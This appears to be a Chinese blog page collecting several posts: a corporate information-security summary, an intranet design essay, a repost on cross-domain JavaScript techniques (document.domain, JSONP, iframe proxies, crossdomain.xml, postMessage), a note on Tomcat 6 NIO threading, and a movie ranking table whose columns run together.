2006年10月1日,全武钢实现生产管理网与互联网的物理隔离,进一步提高武钢内网的安全和信息保密。互联网从内网完全隔离后,主要解决了五方面的问 题:互联网业务从公司生产网上分离之后,提高了生产网安全性和运行效率,减少了病毒对系统的侵害;集团公司机关部处室和各个主休厂通过上网专用区形式加强 了互联网的网络管理;安装行为审计系统,对不安全因素及时告警,对有关行为可以追溯;提高了工作效率,提高了互联网的利用效率;移动用户通过动态令牌双因 子认证后,经过SSL VPIV加密通道访问OA, HR, CRM等应用,保证了数据的安全访问。
2007年,武钢增加了主干网站 点综合防护系统,通过网络流量监控系统,对网络流盘的进行智能分析,对关键网络节点或关键网络链路上网络流且的长期实时监控分析,并提供长期的流量分析报 告。统计分析结果能够为网络改造、升级以及应用系统的变更提供决策依据。为网络性能优化提供管理依据。
2009年8月10日,某厂反映访问大型机网速慢,通过网络流且监控系统立刻对该厂当日的所有流最进行抓包分析,网络流量回溯,并通过我们的技术分析,在短时间内马上找到了引起网络访问速度慢的原因,并迅速解决了问题。
五、信息安全管理体系建设
建立健全的信息安全管理休系对武钢的安全管理工作和武钢信息安全的发展意义重大。这一体系的建立将提高员工信息安全意识,提升公司信息安全管理的水平。 增强公司抵御灾难性事件的能力。通过信息安全管理体系的建设,可有效提高公司对信息安全风险的管控能力,通过与技术安全加固相结合,使得信息安全管理更加 科学有效。
武钢信息安全管理体系确定了公司的信息安全方针是:全员参与、管控并重、持续改进、确保安全。该方针的含义是:在遵守相关 法令、法规的前提下,坚持技术与管理并重、以安全保发展、在发展中求安全的信息安全管理基本原则,在采用国内外信息安全先进技术的同时,结合国际信息安全 管理标准和最佳实践,在全公司范围内建立先进的、可持续改进的信息安全管理体系。全员参与信息安全管理体系建设,通过信息安全宣传、教育与培训。不断提高 公司员工的个人信息安全素质和公司信息系统的安全防范、安全管理能力,保障与公司重要生产经营相关的信息系统安全稳定运行;通过不断地对公司信息安全管理 体系进行内部审核和管理评审,使公司信息安全管理体系得以持续改进。
经过对武钢信息系统多层次、整体、主动的安全防御体系构建及系统 优化,使公司的主千网络安全得到了最大的改餐,2004年10月以来,没有发生大范围的信息安全事件,保证了武钢产销系统的安全稳定运行。为武钢发展注入 了后发势力,对提高武钢整体管理水平,促进管理现代化,转换经营机制,建立现代企业制度.都将发挥巨大的作用。
几年来武钢信息安全体 系的建立,实现了公司信息与息系统的保密性、完整性、可用性;实现了全年重大信息安全事故为零;公司级信息安全系统功能运转率达到98%以上;公司级信息 系统作业率达到45%以上;混合型病毒和恶意代码、外部人员通过网络实施对信息系统的入侵攻击、内部人员通过网络直接入侵和不规范操作这当初武钢信息系统 中的三大威胁已成为历史;公司级信息系统管理、使用、维护人员信息安全培训覆盖率超过80%。这使得武钢的信息安全体系建设获得了业界一致好评。
----------------------------------------------------------------------------------------------------------------------

系统分析员论文样例

中石化金卡工程江苏省联合办公室 尤一浩

江苏省石油集团公司信息技术管理处 司文全


论建立企业内部网INTRANET的策略


近年来,英特网internet以其丰富的应用在社会的迅速得以普及,internet技术的先进性,引起的企业的广泛关注。于是利用internet技术的思想,在企业局域网(LAN)上加以应用,组建企业内部网Intranet(在互联网上,相对于英特网现在有人称为内特网)成为时尚。

作为一名单位内信息中心的技术骨干,我有幸独立完成了整体方案设计、组织参与了本单位的Intranet的建设并承担了部分软件的开发工作。该方案实施后,集成了原有的业务应用系统,建立了企业内部信息发布系统和FTP文件传输系统,并与下属单位实现了网络互连,实现了相互间信息共享,并利用VPN技术利用 INTERNET网能访问总公司的Intranet。 现将实施这一工程的一些方法和策略以及我们采用的一些措施介绍如下,希望能对组建中小企业Intranet网有所启发:

基本情况:1、应用单位情况:某外运集团在某口岸外贸运输企业,是一家经贸部属企业,是集团的分布各地的一个分支机构,承担进出口货物的运输代理,以进出口货物的单据流转为主配合物流为客户服务作为主业务。
2、计算机应用情况:现企业有一局城网,NT 4.0平台,运行的核心应用软件为集装箱运输代理业务系统,为VISUAL FOXPRO 5.0开发的网络多用户系统。还有其它一些人事、财务、统计软件、办公软件(OFFICE)在使用。有专门的计算机应用机构4人。

本单位Intranet网的实施主要是针对系统内信息流转不畅的需求而得以进行的。在实施方案的过程中我们主要进行了如下的策略选择:
1、网络建设方案:单位原有一局城网,25个信息息点。但随着信息化建设的高要求,已远远不能满足需要。单位有6层办公楼,要求人手一机,同时要求与三个基层单位(车队、外运仓库)和一个集装箱站相连。领导层、中层干部等都要求有相应数据和各种查询。对于本单位情况,首先在办公楼进行了综合布线工程,由于办公楼不大,集用了集中走线的方案,采用5类线,100M带宽,125个信息点。交换机采用12口3COM 3C5092A 10/100M自适应设备,共享HUB采用数个3COM 16口HUB。并选用CISCO 3600作为路由器,4个广域网口连接4 个远程基层单位和箱站,采用拨号方式.并将来打算用帧中继FR与北京总部相连(因为经费,暂时没有申请)。由于单位多为PC机,有庞大的WINDOWS用户群,故网络平台也采用WINDOWS NT4.0.采用Intranet的基础协议TCP/IP作为网络协议。
另外对于办公楼较大的可采用采用结构化布线,大对数电缆做主干,设主工作间、每层设水平工作间的方案进行。若有好几个楼群如校园网,可采用光纤做主干网(FDDI),再在每个楼实行P&S布线。
2、 软件平台的选择:当前流行的Intranet平台,有A、基于UNIX,B、基于LINUX(开放源代码的OS) C、基于微软平台WINDOWS NT。考虑到中小企业的特点、可供选择的第三方软件比较多、支持微软平台的软件厂商多以及方便用户简便易操作、GUI界面等因素,我们选择了 windows nt4.0作为网络操作系统,用自身配备的IIS4.0作为WEB平台,IE4.0作为客户Intranet网上浏览平台. 相比于SYBASE、ORCALE、INFORMIX、DB2等大型数据库由于SQL SERVER是与NT平台具与极佳的配合性能的小大型数据库,对中小型企业较为合适,自然就选择SQL SERVER6.0作为数据库平台. 另外,用LINUX平台技术当前也十分红火,从技术上讲也是完全可以胜任的,只是考虑到学习上的要一断时间,以及用户的接受能力故未采用。
3.由于我们自已的技术力量较强,并且面对外运行业的商品化软件较少.我们打算自已开发INTRANET上一些WEB应用软件.开发平台用VISUAL BASIC/FRONT PAGE/Html editor,由于还要开发一些交互式WEB应用程序,还要采集原应用系统的数据。需要掌握相应用交互式开发技术和与数据库相连的技术,如CGI(公共网关接口)、API(应用程序编程接口)、ASP(活动服务器页)、ODBC(开放数据库互连)、RDO/ADO(ACTIVEX DATA OBJECT活动数据对象)。在上述技术中,考虑到响应速度和效率,我建议采用ASP加ADO的技术进行开发。并且这是当前和将来的 INTERNET/Intranet网主流开发技术。
4、内网与外网的互通以及安全考虑:由于属中小企业,单位上英特网的并发用户数一般不会超过15人,我们采用了较为低廉的ISDN一线通方式,专用一台 PC用安装了代理服务器软件(PROXY),可实现按需拨号、HTTP代理、FTP代理、TELNET代理、SMTP/POP
邮件代理、用户管理等,可设快速缓冲。当然,用DDN方式,申请合法的IP地址再设代理的方式也可行,只是由于经费的原因,没有选择。由于内外网的互通,如果没有一定的安全机制,将使公司的内部数据、机器、应用系统受病毒或黑客的攻击或非授权访问等。
内外网间的安全技术有包过滤、防火墙、安全代理服务等,由于我们选择的代理服务器软件已有部分安全方面的机制并且内部数据的安全措施、管理制度、备份机制做的还可以。故没有在这方面投入更多的资金。在内部局域网上,我们选择了NET VRV(50用户)网络版防病毒软件,在服务器端和客户端都各自安装相应的版本,保证了内网的安全可靠性。当前,做网络安全的公司很多,如王江民的KV系列、瑞星公司等都可选择。
5、原有的应有系统与Intranet技术的集成:由于原应用系统是基于FOXPRO,数据库为文件型数据库,所选的WEB应用开发环境并不能直接操作 FOXPRO数据库。对此我们有另外编制了一个软件用于每天从应用系统中将管理者与领导层要的数据导入SQL SERVER中,再以SQL SERVR为后台,编制WEB交互查询系统。
6、与集团总部的相连:现在WIONDOWSNT4.0支持一种新技术即VPN(虚拟专用网),对于实时性要求不高又受经费困扰的应用来说,无疑是一种较为可行的方案,由于总部的条件较好,已建设好INTRANET网,并通过路由器以DDN与INTERNET直通.分公司在目前条件下,与总公司的连接是暂通过INERNET网,并在此链路基础上,运行PPTP协议(而非PPP协议),虚拟出一个数据通道,并在此基础上,通过用户身份验证即可实现总公司 Intranet与分公司LAN的连接.现在的应用有,分公司的LAN用户可直接浏览总公司的Intranet网的WEB站点.同时,全系统的业务统计软件也是改为通过WEB应用程序实现的。
Intranet网运行后,在公司的用户间获得好评,客户界面(IE)的单一化,简化用户培训学习的过程.同时,网络的建成,极大方便了系统内信息和单据的流转速度,文件、数据的上传、下载十分方便.原有的应用系统数据还可通过IE浏览查询.部分WEB应用程序的建立,使客户端的维护成本大大降低.同时 Intranet的成功运行,也使得我们的信息部门的地位有所提高。
但是,由于单位性质、规模的许多局限性,诸如费用、本身的技术水平、系统分析能力等,使一些应用走了简单、实用、低廉的策略。我们仅做了一台WEB服务器、一台SQLSERVER服务器和一台主域NT服务器,由于机器较少,没有作域名分配;对于与原文件型数据库的应用系统,没有采用效率更好的方法,做了简单化处理;与总公司总部的相连,速度稍难忍受、高峰堵塞严重,一般使用都各分公司划时间段使用;另外,在说服领导花钱投入加以重视方面还有待改进;也许,采用与软件公司、ISP等专业公司合作开发会更好地把本企业Intranet网做好。

鉴于上述原因,我认为我们公司的Intranet网将来还要作如下方面的改进:
1、通信线路的改进:随着各种数据通讯网的建立和改善以及费用的逐步下降,分公司与总公司、分公司与基单位将来都应该采用DDN/FR甚至光缆等专线接入。
2、软件应用模式从DOS单用户、文件型数据库多用户、C/S、向B/S结构、三层结构和多层次结方向方向发展,我们单位,将来的应用升级可直接使用B /S结构、三层结构,在开发技术中要广泛使用面向对象OOP、COM/DCOM构件组件、ADO数据库连接对象、ASP技术。并且开发方式也要采取与专业技术软件公司进行合作或委托开发的形式,否则,自已开发的软件的质量、可靠性等方面都难以达到软件工程的高要求;另外,更要在开发中重需求分析、重建模(可采用UML建模技术)、加强项目管理、团队协作。
3、在1-2年内,用专线接入INTERNET网,建立基于INTERNET网的客户查询系统,在内外网间设立防火墙。

-------------------------------------------------------------------------------------------------------------


Continue reading 【参考】设计企业信息系统的安全体系

【转】疯狂的跨域技术

转了http://blog.csdn.net/raychase/archive/2011/01/09/6125652.aspx

嵌套转:
原帖地址:http://itgeeker.com/mathml/readpaper?pid=53

JavaScript 是一种在Web开发中经常使用的前端动态脚本技术。在JavaScript中,有一个很重要的安全性限制,被称为“Same-Origin Policy”(同源策略)。这一策略对于JavaScript代码能够访问的页面内容做了很重要的限制,即JavaScript只能访问与包含它的文档在同一域下的内容。

JavaScript这个安全策略在进行多iframe或多窗口编程、以及Ajax编程时显得尤为重要。根据这个策略,在baidu.com下的页面中包含的JavaScript代码,不能访问在google.com域名下的页面内容;甚至不同的子域名之间的页面也不能通过JavaScript代码互相访问。对于Ajax的影响在于,通过XMLHttpRequest实现的Ajax请求,不能向不同的域提交请求,例如,在abc.example.com下的页面,不能向def.example.com提交Ajax请求,等等。

然而,当进行一些比较深入的前端编程的时候,不可避免地需要进行跨域操作,这时候“同源策略”就显得过于苛刻。本文就这个问题,概括了跨域所需要的一些技术。

下面我们分两种情况讨论跨域技术:首先讨论不同子域的跨域技术,然后讨论完全不同域的跨域技术。

(一)不同子域的跨域技术。

我们分两个问题来分别讨论:第一个问题是如何跨不同子域进行JavaScript调用;第二个问题是如何向不同子域提交Ajax请求。

先来解决第一个问题,假设example.com域下有两个不同子域:abc.example.com和def.example.com。现在假设在def.example.com下面有一个页面,里面定义了一个JavaScript函数:

function funcInDef() {

.....

}

我们想在abc.example.com下的某个页面里调用上面的函数。再假设我们要讨论的abc.example.com下面的这个页面是以iframe形式嵌入在def.example.com下面那个页面里的,这样我们可能试图在iframe里做如下调用:

window.top.funcInDef();

好,我们注意到,这个调用是被前面讲到的“同源策略”所禁止的,JavaScript引擎会直接抛出一个异常。

为了实现上述调用,我们可以通过修改两个页面的domain属性的方法做到。例如,我们可以将上面在abc.example.com和def.example.com下的两个页面的顶端都加上如下的JavaScript代码片段:

<script type="text/javascript">

document.domain = "example.com";

</script>

这样,两个页面就变为同域了,前面的调用也可以正常执行了。

我试过,在www.abc.com中请求abc.com/action就算跨域(前面没有带www),即使采用上面的方法仍然行不通。

这里需要注意的一点是,一个页面的document.domain属性只能设置成一个更顶级的域名(除了一级域名),但不能设置成比当前域名更深层的子域名。例如,abc.example.com的页面只能将它的domain设置成example.com,不能设置成 sub.abc.example.com,当然也不能设置成一级域名com。

上面的例子讨论的是两个页面属于iframe嵌套关系的情况,当两个页面是打开与被打开的关系时,原理也完全一样。

下面我们来解决第二个问题:如何向不同子域提交Ajax请求。

通常情况下,我们会用与下面类似的代码来创建一个XMLHttpRequest对象:

factories = [

function() { return new XMLHttpRequest(); },

function() { return new ActiveXObject("Msxml2.XMLHTTP"); },

function() { return new ActiveXObject("Microsoft.XMLHTTP"); }

];

function newRequest() {

for(var i = 0; i < factories.length; i++) {

try{

var factory = factories[i];

return factory();

} catch(e) {}

}

return null;

}

上面的代码中引用ActiveXObject,是为了兼容IE6系列浏览器。每次我们调用newRequest函数,就获得了一个刚刚创建的Ajax对象,然后用这个Ajax对象来发送HTTP请求。例如,下面的代码向abc.example.com发送了一个GET请求:

var request = newRequest();

request.open("GET", "http://abc.example.com" );

request.send(null);

假设上面的代码包含在一个abc.example.com域名下的页面里,则这个GET请求可以正常发送成功,没有任何问题。然而,如果现在要向def.example.com发送请求,则出现跨域问题,JavaScript引擎抛出异常。

解决的办法是,在def.example.com域下放置一个跨域文件,假设叫crossdomain.html;然后将前面的newRequest函数的定义移到这个跨域文件中;最后像之前修改document.domain值的做法一样,在crossdomain.html文件和 abc.example.com域下调用Ajax的页面顶端,都加上:

<script type="text/javascript">

document.domain = "example.com";

</script>

为了使用跨域文件,我们在abc.example.com域下调用Ajax的页面中嵌入一个隐藏的指向跨域文件的iframe,例如:

<iframe name="xd_iframe" style="display:none" src="http://def.example.com/crossdomain.html"></iframe>

这时abc.example.com域下的页面和跨域文件crossdomain.html都在同一个域(example.com)下,我们可以在abc.example.com域下的页面中去调用crossdomain.html中的newRequest函数:

var request = window.frames["xd_iframe"].newRequest();

这样获得的request对象,就可以向http://def.example.com发送HTTP请求了。

(二)完全不同域的跨域技术。

如果顶级域名都不相同,例如example1.com和example2.com之间想通过JavaScript在前端通信,则所需要的技术更复杂些。

在讲解不同域的跨域技术之前,我们首先明确一点,下面要讲的技术也同样适用于前面跨不同子域的情况,因为跨不同子域只是跨域问题的一个特例。当然,在恰当的情况下使用恰当的技术,能够保证更优的效率和更高的稳定性。

简言之,根据不同的跨域需求,跨域技术可以归为下面几类:

  1. JSONP跨域GET请求
  2. 通过iframe实现跨域
  3. flash跨域HTTP请求
  4. window.postMessage

下面详细介绍各种技术。

1. JSONP。

利用在页面中创建<script>节点的方法向不同域提交HTTP请求的方法称为JSONP,这项技术可以解决跨域提交Ajax请求的问题。JSONP的工作原理如下所述:

假设在http://example1.com/index.php这个页面中向http://example2.com/getinfo.php提交 GET请求,我们可以将下面的JavaScript代码放在http://example1.com/index.php这个页面中来实现:

var eleScript= document.createElement("script");

eleScript.type = "text/javascript";

eleScript.src = "http://example2.com/getinfo.php";

document.getElementsByTagName("HEAD")[0].appendChild(eleScript);

当GET请求从http://example2.com/getinfo.php返回时,可以返回一段JavaScript代码,这段代码会自动执行,可以用来负责调用http://example1.com/index.php页面中的一个callback函数。

JSONP 的优点是:它不像XMLHttpRequest对象实现的Ajax请求那样受到同源策略的限制;它的兼容性更好,在更加古老的浏览器中都可以运行,不需要 XMLHttpRequest或ActiveX的支持;并且在请求完毕后可以通过调用callback的方式回传结果。

JSONP的缺点则是:它只支持GET请求而不支持POST等其它类型的HTTP请求;它只支持跨域HTTP请求这种情况,不能解决不同域的两个页面之间如何进行JavaScript调用的问题。

2. 通过iframe实现跨域。

iframe跨域的方式,功能强于JSONP,它不仅能用来跨域完成HTTP请求,还能在前端跨域实现JavaScript调用。因此,完全不同域的跨域问题,通常采用iframe的方式来解决。

与 JSONP技术通过创建<script>节点向不同的域提交GET请求的工作方式类似,我们也可以通过在 http://example1.com/index.php页面中创建指向http://example2.com/getinfo.php的 iframe节点跨域提交GET请求。然而,请求返回的结果无法回调http://example1.com/index.php页面中的 callback函数,因为受到“同源策略”的影响。

为了解决这个问题,我们需要在example1.com下放置一个跨域文件,比如路径是http://example1.com/crossdomain.html。

当http://example2.com/getinfo.php这个请求返回结果的时候,它大体上有两个选择。

第一个选择是,它可以在iframe中做一个302跳转,跳转到跨域文件http://example1.com/crossdomain.html,同时将返回结果经过URL编码之后作为参数缀在跨域文件URL后面,例如http://example1.com /crossdomain.html?result=<URL-Encoding-Content>。

另一个选择是,它可以在返回的页面中再嵌入一个iframe,指向跨域文件,同时也是将返回结果经过URL编码之后作为参数缀在跨域文件URL后面。

在跨域文件中,包含一段JavaScript代码,这段代码完成的功能,是从URL中提取结果参数,经过一定处理后调用原来的 http://example1.com/index.php页面中的一个预先约定好的callback函数,同时将结果参数传给这个函数。http: //example1.com/index.php页面和跨域文件是在同一个域下的,因此这个函数调用可以通过。跨域文件所在iframe和原来的 http://example1.com/index.php页面的关系,在前述第一种选择下,后者是前者的父窗口,在第二种选择下,后者是前者的父窗口的父窗口。

根据前面的叙述,有了跨域文件之后,我们就可以实现通过iframe方式在不同域之间进行JavaScript调用。这个调用过程可以完全跟HTTP请求无关,例如有些站点可以支持动态地调整在页面中嵌入的第三方iframe的高度,这其实是通过在第三方iframe里面检测自己页面的高度变化,然后通过跨域方式的函数调用将这个变化告知父窗口来完成的。

既然利用iframe可以实现跨域 JavaScript调用,那么跨域提交POST请求等其它类型的HTTP请求就不是难事。例如我们可以跨域调用目标域的JavaScript代码在目标域下提交Ajax请求(GET/POST/etc.),然后将返回的结果再跨域传原来的域。

使用iframe跨域,优点是功能强大,支持各种浏览器,几乎可以完成任何跨域想做的事情;缺点是实现复杂,要处理很多浏览器兼容问题,并且传输的数据不宜过大,过大了可能会超过浏览器对URL长度的限制,要考虑对数据进行分段传输等。

3. 利用flash实现跨域HTTP请求

据称,flash在浏览器中的普及率高达90%以上。

flash代码和JavaScript代码之间可以互相调用,并且flash的“安全沙箱”机制与JavaScript的安全机制并不尽相同,因此,我们可以利用flash来实现跨域提交HTTP请求(支持GET/POST等)。

例如,我们用浏览器访问http://example1.com/index.php这个页面,在这个页面中引用了http://example2.com /flash.swf这个flash文件,然后在flash代码中向http://example3.com/webservice.php发送HTTP 请求。

这个请求能否被成功发送,取决于在example3.com的根路径下是否放置了一个crossdomain.xml以及这个 crossdomain.xml的配置如何。flash的“安全沙箱”会保证:仅当example3.com服务器在根路径下确实放置了 crossdomain.xml文件并且在这个文件中配置了允许接受来自example2.com的flash的请求时,这个请求才能真正成功。下面是一个crossdomain.xml文件内容的例子:

<?xml version="1.0"?>

<cross-domain-policy>

<allow-access-from domain="example2.com" />

</cross-domain-policy>

4. window.postMessage

window.postMessage是HTML标准的下一个版本HTML5支持的一个新特性。受当前互联网技术突飞猛进的影响,浏览器跨域通信的需求越来越强烈,HTML标准终于把跨域通信考虑进去了。但目前HTML5仍然只是一个draft。

window.postMessage是一个安全的实现直接跨域通信的方法。但是目前并不是所有浏览器都能支持,只有Firefox 3、Safari 4和IE8可以支持这个调用。

使用它向其它窗口发送消息的调用方式大概如下:

otherWindow.postMessage(message, targetOrigin);

在接收的窗口,需要设置一个事件处理函数来接收发过来的消息:

window.addEventListener("message", receiveMessage, false);function receiveMessage(event){ if (event.origin!== "http://example.org:8080") return;}消息包含三个属性:data、origin(携带发送窗口所在域的真实信息)和source(代表发送窗口的handle)。

安全性考虑:使用window.postMessage,必需要使用消息的origin和source属性来验证发送者的身份,否则会造成XSS漏洞。

window.postMessage在功能上同iframe实现的跨域功能同样强大,并且使用简单,效率更高,但缺点是它目前在浏览器兼容方面有待提高。

总结完所有的跨域方式之后,我们要时刻铭记,虽然跨域技术能给你带来更多的功能,催生出更灵活和更加平台化的产品,但是功能的放开也总是意味着安全的风险。在实现跨域技术的每个步骤和细节,都要时刻在头脑中考虑到对安全带来的影响,避免成为XSS攻击的漏洞。

 

俺在转载基础上,再补充两个实现:

1、百度在Ajax跨域的时候用了这样的办法:往head里面加一个script src=xxx,因为script标签是可以跨域的。
2、Google的点击计数则这样做:new img().src=...;也跨域了。。。

 

Continue reading 【转】疯狂的跨域技术

【转】java nio与tomcat 6 中nio的使用

转自http://jiangyongyuan.iteye.com/blog/361983

 

很早就听说tomcat6使用nio了,这几天突然想到一个问题,使用nio代替传统的bioThreadLocal岂不是会存在冲突? 
 
首先,何谓nio 
 
如果读者有socket的编程基础,应该会接触过堵塞socket和非堵塞socket,堵塞socket就是在acceptreadwrite IO操作的的时候,如果没有可用符合条件的资源,不马上返回,一直等待直到有资源为止。而非堵塞socket则是在执行select的时候,当没有资源的时候堵塞,当有符合资源的时候,返回一个信号,然后程序就可以执行acceptreadwrite等操作,这个时候,这些操作是马上完成,并且马上返回。而windowswinsock则有所不同,可以绑定到一个EventHandle里,也可以绑定到一个HWND里,当有资源到达时,发出事件,这时执行的io操作也是马上完成、马上返回的。一般来说,如果使用堵塞socket,通常我们时开一个线程accept socket,当有socket链接的时候,开一个单独的线程处理这个socket;如果使用非堵塞socket,通常是只有一个线程,一开始是 select状态,当有信号的时候马上处理,然后继续select状态。
 
按照大多数人的说法,堵塞socket比非堵塞 socket的性能要好。不过也有小部分人并不是这样认为的,例如Indy项目(Delphi一个比较出色的网络包),它就是使用多线程+堵塞 socket模式的。另外,堵塞socket比非堵塞socket容易理解,符合一般人的思维,编程相对比较容易。 
 
nio其实也是类似上面的情况。在JDK1.4sun公司大范围提升Java的性能,其中NIO就是其中一项。JavaIO操作集中在java.io这个包中,是基于流的阻塞API(即BIOBlock IO)。对于大多数应用来说,这样的API使用很方便,然而,一些对性能要求较高的应用,尤其是服务端应用,往往需要一个更为有效的方式来处理IO。从 JDK 1.4起,NIO API作为一个基于缓冲区,并能提供非阻塞O操作的API(即NIOnon-blocking IO)被引入。 
 
BIONIO一个比较重要的不同,是我们使用BIO的时候往往会引入多线程,每个连接一个单独的线程;而NIO则是使用单线程或者只使用少量的多线程,每个连接共用一个线程。  
 

clip_image001

 

这个时候,问题就出来了:我们非常多的java应用是使用ThreadLocal的,例如JSFFaceContextHibernate session管理、Struts2Context的管理等等,几乎所有框架都或多或少地应用ThreadLocal。如果存在冲突,那岂不惊天动地? 
 
后来终于在Tomcat6的文档(http://tomcat.apache.org/tomcat-6.0-doc/aio.html)找到答案。根据上面说明,应该Tomcat6应用nio只是用在处理发送、接收信息的时候用到,也就是说,tomcat6还是传统的多线程Servlet,我画了下面两个图来列出区别: 
 
tomcat5:客户端连接到达 -> 传统的SeverSocket.accept接收连接 -> 从线程池取出一个线程 -> 在该线程读取文本并且解析HTTP协议 -> 在该线程生成ServletRequestServletResponse,取出请求的Servlet -> 在该线程执行这个Servlet -> 在该线程把ServletResponse的内容发送到客户端连接 -> 关闭连接。 
 
我以前理解的使用nio后的tomcat6:客户端连接到达 -> nio接收连接 -> nio使用轮询方式读取文本并且解析HTTP协议(单线程) -> 生成ServletRequestServletResponse,取出请求的Servlet -> 直接在本线程执行这个Servlet -> ServletResponse的内容发送到客户端连接 -> 关闭连接。 
 
实际的tomcat6:客户端连接到达 -> nio接收连接 -> nio使用轮询方式读取文本并且解析HTTP协议(单线程) -> 生成ServletRequestServletResponse,取出请求的Servlet -> 从线程池取出线程,并在该线程执行这个Servlet -> ServletResponse的内容发送到客户端连接 -> 关闭连接。  
 
 
从上图可以看出[图在哪里?作者也是转的?]BIONIO的不同,也导致进入客户端处理线程的时刻有所不同:tomcat5在接受连接后马上进入客户端线程,在客户端线程里解析HTTP协议,而tomcat6则是解析完HTTP协议后才进入多线程,另外,tomcat6也比5早脱离客户端线程的环境。 
 
实际的tomcat6与我之前猜想的差别主要集中在如何处理servlet的问题上。实际上即使抛开 ThreadLocal的问题,我之前理解tomcat6只使用一个线程处理的想法其实是行不同的。大家都有经验:servlet是基于BIO的,执行期间会存在堵塞的,例如读取文件、数据库操作等等。tomcat6使用了nio,但不可能要求servlet里面要使用nio,而一旦存在堵塞,效率自然会锐降。

Continue reading 【转】java nio与tomcat 6 中nio的使用

巨牛电影榜

榜位名称观看人数评分
1The Shawshank Redemption28043495
2Forrest Gump25439593
3Léon25396894
4Titanic21980488
5La leggenda del pianista sull'oceano21718992
6Le fabuleux destin d'Amélie Poulain19149489
7Edward Scissorhands18004187
8Roman Holiday14891889
9Love Letter14269888
10Braveheart12681688
11Jeux d'enfants12536585
12The Butterfly Effect12296386
13The Truman Show12200688
14Fight Club12046291
15La vita è bella12021994
16无间道11871387
17The Silence of the Lambs11431286
18西游记大结局之仙履奇缘11305489
19Love Actually11117386
20The Lion King10794287
21重庆森林10398586
22ハウルの動く城10180586
23Scent of a Woman10155988
24西游记第一百零一回之月光宝盒10075288
25Trainspotting9983686
26東邪西毒9884085
27Malèna9833185
28Gone with the Wind9758892
29A Beautiful Mind9338688
30The Sound of Music9150689
31射雕英雄传之东成西就8954887
32甜蜜蜜8508886
33Memento8227185
34もののけ姫8225687
35Saving Private Ryan7709086
36The Notebook7708985
37Lock, Stock and Two Smoking Barrels7624291
38火垂るの墓7588589
39Good Will Hunting7546886
40The Sixth Sense7207987
41活着7166288
42春光乍洩6893186
43The Pianist6393089
44Artificial Intelligence: AI6355986
45Legends of the Fall6075088
46Mulholland Dr.5835786
47Sin City5792185
48Before Sunset5745187
49E.T. the Extra-Terrestrial5674785
50Waterloo Bridge5607287
51The Godfather: Part II5562190
52Before Sunrise5535288
53スワロウテイル5327387
54麦兜故事5259285
55Eternal Sunshine of the Spotless Mind5238485
56菊次郎の夏5143788
57Once Upon a Time in America5117790
58可可西里5078785
59Le grand bleu5057288
60Hilary and Jackie4984185
61一一4792689
62Casablanca4597086
63耳をすませば4473687
64Le papillon4068086
65緃横四海3982986
66英雄本色3976986
67La grande vadrouille3926190
68The Godfather: Part III3909087
69بچههای آسمان3900891
70Sissi3751086
71Pride and Prejudice3703290
72The Green Mile3634786
73PicNic3617485
74买凶拍人3477086
75Taxi Driver3229185
76Snatch3203185
77喜宴3201885
78The Usual Suspects3139386
79牯嶺街少年殺人事件3102887
80The Gods Must Be Crazy3038287
81Central do Brasil3022987
82Singin' in the Rain3015889
83哪吒闹海2860687
84Amadeus2831987
85Father and Daughter2799892
86살인의 추억2728086
87Good Bye Lenin!2676387
8812 Angry Men2633693
89Hable con ella2611486
90Band of Brothers2571793
91Gloomy Sunday - Ein Lied von Liebe und Tod2548887
92Thelma & Louise2530285
93Requiem for a Dream2466488
94Trois couleurs: Rouge2404187
95L.A. Confidential2368485
96Dances with Wolves2322688
97Philadelphia2305385
98Le peuple migrateur2293890
99Sex and the City2283187
100I Am Sam2251988
101Trois couleurs: Blanc2205685
102American History X2108886
103Billy Elliot2095287
104盲井1992585
105七人の侍1968591
106Pink Floyd The Wall1903188
107Pink Floyd The Wall1902988
108Velvet Goldmine1865485
109Modern Times1802391
110What's Eating Gilbert Grape1758187
111The Animatrix1748687
112Psycho1639988
113봄 여름 가을 겨울 그리고 봄1635385
114Les quatre cents coups1600688
115Dogville1552286
116South Park: Bigger Longer & Uncut1550985
117The Godfather Trilogy: 1901-1980 (V)1543295
118Sissi - Die junge Kaiserin1497185
119A Perfect World1468490
120The Gods Must Be Crazy II1444188
121HANA-BI1431785
122Bicentennial Man1419885
123暗恋桃花源1419387
124悲情城市1384786
125Gattaca1319286
126Ladri di biciclette1281788
127Der Himmel über Berlin1262685
1281229586
129Sissi - Schicksalsjahre einer Kaiserin1215685
130CSI: Crime Scene Investigation1188990
131K-PAX1184485
132241128086
133John Q1109285
134Melody1102587
135Vampire Hunter D: Bloodlust1091987
136Microcosmos: Le peuple de l'herbe1042290
137Mr. Bean1019990
138藍色大門11891984
139엽기적인 그녀11171579
140Pirates of the Caribbean: The Curse of the Black Pearl10451984
141Mr. & Mrs. Smith10312973
142唐伯虎点秋香9593781
143Corpse Bride9308780
144Charlie and the Chocolate Factory9118977
145喜剧之王8684980
146The Day After Tomorrow8670879
147Notting Hill8463479
148Home Alone8201479
149The Princess Diaries8233474
150Face/Off8079183
151The Terminal7903184
152King Kong7895977
153클래식7790082
15450 First Dates7816578
155リリイ·シュシュのすべて7695681
156Interview with the Vampire: The Vampire Chronicles7553383
157Sleepless in Seattle7568979
158Lola rennt7395582
159Identity7305284
160花とアリス7337881
161青蛇7112681
162City of Angels7065480
163独自等待7064379
164Pirates of the Caribbean: Dead Man's Chest7034279
165食神7002975
166Harry Potter and the Sorcerer's Stone6866381
167魔女の宅急便6804083
168Ghost6785681
169Spider-Man6883072
170American Beauty6683182
171A Clockwork Orange6618084
172Pearl Harbor6704075
173The Mask6464677
174四月物語6311781
175I, Robot6077378
176The Graduate6016879
177The Fifth Element5987978
178Final Destination5944977
179Madagascar5930176
180Harry Potter and the Chamber of Secrets5911277
181Mulan5937873
182新龍門客棧5815482
183Bridget Jones's Diary5866575
184내 머리 속의 지우개5810079
185V for Vendetta5684284
186九品芝麻官5712579
187Closer5681677
188Harry Potter and the Goblet of Fire5591277
189The Parent Trap5535582
190The Rock5422684
191Men in Black5434779
192手机5473772
193Gladiator5324583
194National Treasure5411875
195バトル・ロワイアル5341681
196Jurassic Park5361279
197新警察故事5419870
198Independence Day5264680
199倩女幽魂5249281
200The Matrix Reloaded5245881
201Independence Day5256780
202Con Air5235980
203臥虎藏龍5245173
204国产凌凌漆5184978
205Garfield5205375
206True Lies5085080
207大腕5126676
208The Bourne Identity5012984
209The Matrix Revolutions4995982
210阿飛正傳4972284
211鹿鼎記5047077
212クイール4954683
213胭脂扣4969781
214The Mummy5023176
215Neko no ongaeshi4962278
216武状元苏乞儿5018771
217甲方乙方4887481
218Bruce Almighty4950273
219Stuart Little4914173
220Dracula4808578
221蓝宇4801677
222无间道Ⅱ4737378
